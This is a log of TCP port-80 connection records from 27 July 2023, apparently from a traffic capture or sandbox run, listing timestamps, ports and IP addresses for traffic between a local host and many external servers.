Jul 27, 2023 21:52:25.126663923 CEST	80	49743	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:25.126759052 CEST	49743	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:25.192945957 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.192981005 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.193001986 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.193023920 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.193166971 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.193217993 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.193306923 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.193330050 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.193368912 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.193393946 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.193394899 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.193418026 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.193444967 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.193460941 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.198672056 CEST	80	49742	54.161.222.85	192.168.2.4
Jul 27, 2023 21:52:25.198699951 CEST	80	49742	54.161.222.85	192.168.2.4
Jul 27, 2023 21:52:25.198800087 CEST	49742	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.208925962 CEST	49742	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.217287064 CEST	80	49741	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:25.217327118 CEST	80	49741	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:25.217443943 CEST	49741	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:25.226366997 CEST	49746	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:52:25.230160952 CEST	80	49744	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:25.230278015 CEST	49744	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:25.257110119 CEST	80	49746	188.166.152.188	192.168.2.4
Jul 27, 2023 21:52:25.259108067 CEST	49746	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:52:25.289998055 CEST	49744	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:25.290344000 CEST	49746	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:52:25.291857958 CEST	49747	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.316329002 CEST	80	49745	154.203.14.100	192.168.2.4
Jul 27, 2023 21:52:25.316540003 CEST	49745	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:52:25.320092916 CEST	80	49746	188.166.152.188	192.168.2.4
Jul 27, 2023 21:52:25.320944071 CEST	49745	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:52:25.321659088 CEST	80	49746	188.166.152.188	192.168.2.4
Jul 27, 2023 21:52:25.323105097 CEST	49746	80	192.168.2.4	188.166.152.188
Jul 27, 2023 21:52:25.347600937 CEST	80	49742	54.161.222.85	192.168.2.4
Jul 27, 2023 21:52:25.410742998 CEST	49748	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:52:25.427320957 CEST	80	49748	23.227.38.74	192.168.2.4
Jul 27, 2023 21:52:25.427442074 CEST	49748	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:52:25.427776098 CEST	49748	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:52:25.431241035 CEST	80	49747	54.161.222.85	192.168.2.4
Jul 27, 2023 21:52:25.431433916 CEST	49747	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.431731939 CEST	49747	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.433262110 CEST	80	49744	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:25.433900118 CEST	80	49744	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:25.433996916 CEST	49744	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:25.444148064 CEST	80	49748	23.227.38.74	192.168.2.4
Jul 27, 2023 21:52:25.446245909 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446305037 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446362019 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446404934 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446440935 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446475983 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.446484089 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446515083 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.446528912 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446536064 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.446571112 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446608067 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446640015 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.446651936 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446690083 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446717024 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.446717024 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.446723938 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446741104 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.446768999 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446784973 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.446808100 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.446854115 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.457839966 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:25.458528042 CEST	49744	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:25.467786074 CEST	49750	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:52:25.474075079 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:25.474380016 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:25.474504948 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:25.483958006 CEST	80	49750	23.227.38.74	192.168.2.4
Jul 27, 2023 21:52:25.487169027 CEST	49750	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:52:25.487505913 CEST	49750	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:52:25.490597963 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:25.503602028 CEST	80	49750	23.227.38.74	192.168.2.4
Jul 27, 2023 21:52:25.514514923 CEST	80	49698	80.93.82.33	192.168.2.4
Jul 27, 2023 21:52:25.515144110 CEST	49698	80	192.168.2.4	80.93.82.33
Jul 27, 2023 21:52:25.518135071 CEST	80	49734	82.201.61.230	192.168.2.4
Jul 27, 2023 21:52:25.518258095 CEST	49734	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:52:25.564805031 CEST	80	49697	70.39.251.249	192.168.2.4
Jul 27, 2023 21:52:25.565017939 CEST	49697	80	192.168.2.4	70.39.251.249
Jul 27, 2023 21:52:25.570271969 CEST	80	49747	54.161.222.85	192.168.2.4
Jul 27, 2023 21:52:25.570307016 CEST	80	49747	54.161.222.85	192.168.2.4
Jul 27, 2023 21:52:25.570449114 CEST	49747	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.572280884 CEST	49747	80	192.168.2.4	54.161.222.85
Jul 27, 2023 21:52:25.596637964 CEST	80	49748	23.227.38.74	192.168.2.4
Jul 27, 2023 21:52:25.596720934 CEST	49748	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:52:25.601703882 CEST	80	49744	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:25.602245092 CEST	80	49744	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:25.602325916 CEST	49744	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:25.663139105 CEST	80	49750	23.227.38.74	192.168.2.4
Jul 27, 2023 21:52:25.663264036 CEST	49750	80	192.168.2.4	23.227.38.74
Jul 27, 2023 21:52:25.711113930 CEST	80	49747	54.161.222.85	192.168.2.4
Jul 27, 2023 21:52:25.715471983 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.715625048 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.715684891 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.715743065 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.715795040 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.715799093 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.715835094 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.715846062 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.715886116 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.715949059 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716006994 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716012955 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716059923 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716063976 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716088057 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716111898 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716116905 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716137886 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716145992 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716164112 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716171026 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716190100 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716211081 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716217995 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716243982 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716252089 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716252089 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716274023 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716286898 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716311932 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716315031 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716339111 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716363907 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716387987 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716414928 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716440916 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716466904 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716489077 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716489077 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716489077 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716489077 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716489077 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716492891 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716506004 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716517925 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716521978 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:25.716542006 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.716558933 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:25.734072924 CEST	80	49692	59.106.19.204	192.168.2.4
Jul 27, 2023 21:52:25.734963894 CEST	49692	80	192.168.2.4	59.106.19.204
Jul 27, 2023 21:52:25.821906090 CEST	49745	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:52:25.837574005 CEST	49725	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:52:25.962929010 CEST	49751	80	192.168.2.4	195.78.66.50
Jul 27, 2023 21:52:25.972151041 CEST	49752	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:52:25.980113029 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:25.999598980 CEST	49754	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:52:25.999644995 CEST	80	49753	3.65.101.129	192.168.2.4
Jul 27, 2023 21:52:25.999723911 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.000154972 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.009965897 CEST	80	49754	13.224.103.99	192.168.2.4
Jul 27, 2023 21:52:26.010061026 CEST	49754	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:52:26.010368109 CEST	49754	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:52:26.011624098 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011656046 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011682987 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011709929 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011734962 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011763096 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011790037 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011816025 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011814117 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.011836052 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011851072 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.011857033 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011882067 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011902094 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011919975 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011928082 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.011960983 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.011972904 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.011972904 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.011990070 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012013912 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012017012 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012038946 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012046099 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012061119 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012074947 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012089014 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012104034 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012118101 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012145996 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012145996 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012175083 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012187958 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012202978 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012217045 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012228966 CEST	80	49732	39.99.233.155	192.168.2.4
Jul 27, 2023 21:52:26.012244940 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.012278080 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:52:26.019282103 CEST	80	49753	3.65.101.129	192.168.2.4
Jul 27, 2023 21:52:26.019942045 CEST	80	49753	3.65.101.129	192.168.2.4
Jul 27, 2023 21:52:26.020036936 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.020627975 CEST	80	49754	13.224.103.99	192.168.2.4
Jul 27, 2023 21:52:26.020896912 CEST	80	49754	13.224.103.99	192.168.2.4
Jul 27, 2023 21:52:26.021116972 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.021156073 CEST	49754	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:52:26.024660110 CEST	80	49745	154.203.14.100	192.168.2.4
Jul 27, 2023 21:52:26.024924994 CEST	49745	80	192.168.2.4	154.203.14.100
Jul 27, 2023 21:52:26.040807009 CEST	80	49753	3.65.101.129	192.168.2.4
Jul 27, 2023 21:52:26.042774916 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.042808056 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.042834997 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.042862892 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.042891026 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.042895079 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.042922974 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.042949915 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.042952061 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.042952061 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.042975903 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.042995930 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.043016911 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.043061018 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.043114901 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.043709993 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.043736935 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.043858051 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.084841013 CEST	49754	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:52:26.084992886 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.095315933 CEST	80	49754	13.224.103.99	192.168.2.4
Jul 27, 2023 21:52:26.095540047 CEST	80	49754	13.224.103.99	192.168.2.4
Jul 27, 2023 21:52:26.095634937 CEST	49754	80	192.168.2.4	13.224.103.99
Jul 27, 2023 21:52:26.104933023 CEST	80	49753	3.65.101.129	192.168.2.4
Jul 27, 2023 21:52:26.105963945 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.127079964 CEST	80	49743	81.2.194.241	192.168.2.4
Jul 27, 2023 21:52:26.127213001 CEST	49743	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:52:26.135016918 CEST	80	49752	208.109.214.162	192.168.2.4
Jul 27, 2023 21:52:26.135109901 CEST	49752	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:52:26.144922972 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.144967079 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.144995928 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.145020008 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.145124912 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.145172119 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.145195961 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.145267010 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.145267963 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.145297050 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.145323992 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.145351887 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.145363092 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.145416975 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.145417929 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.146188974 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.146225929 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.146255016 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.146265030 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.146281958 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.146310091 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.146320105 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.146320105 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.146347046 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.146374941 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.147067070 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.147093058 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.147156954 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.147188902 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.147188902 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.147237062 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.147551060 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.147583961 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.147604942 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.147612095 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.147639990 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.147666931 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.147669077 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.147706985 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.147748947 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.148487091 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.148520947 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.148842096 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.202774048 CEST	49752	80	192.168.2.4	208.109.214.162
Jul 27, 2023 21:52:26.203176022 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.223093033 CEST	80	49753	3.65.101.129	192.168.2.4
Jul 27, 2023 21:52:26.223226070 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.224462032 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.244093895 CEST	80	49753	3.65.101.129	192.168.2.4
Jul 27, 2023 21:52:26.246223927 CEST	49753	80	192.168.2.4	3.65.101.129
Jul 27, 2023 21:52:26.255456924 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.255490065 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.255512953 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.255541086 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.255562067 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.255587101 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.255606890 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.255625010 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.255685091 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.255685091 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.256330013 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.256356001 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.256375074 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.256397009 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.256405115 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.256469965 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.256469965 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.256989956 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257025957 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257050037 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257076025 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257076979 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.257076979 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.257100105 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257112980 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.257134914 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.257134914 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.257837057 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257875919 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257900953 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257925034 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257950068 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.257962942 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.257962942 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.257999897 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.258018017 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.258816957 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.258852959 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.258881092 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.258913040 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:52:26.258919001 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.258919001 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:52:26.258944035 CEST	80	49749	104.21.66.46	192.168.2.4
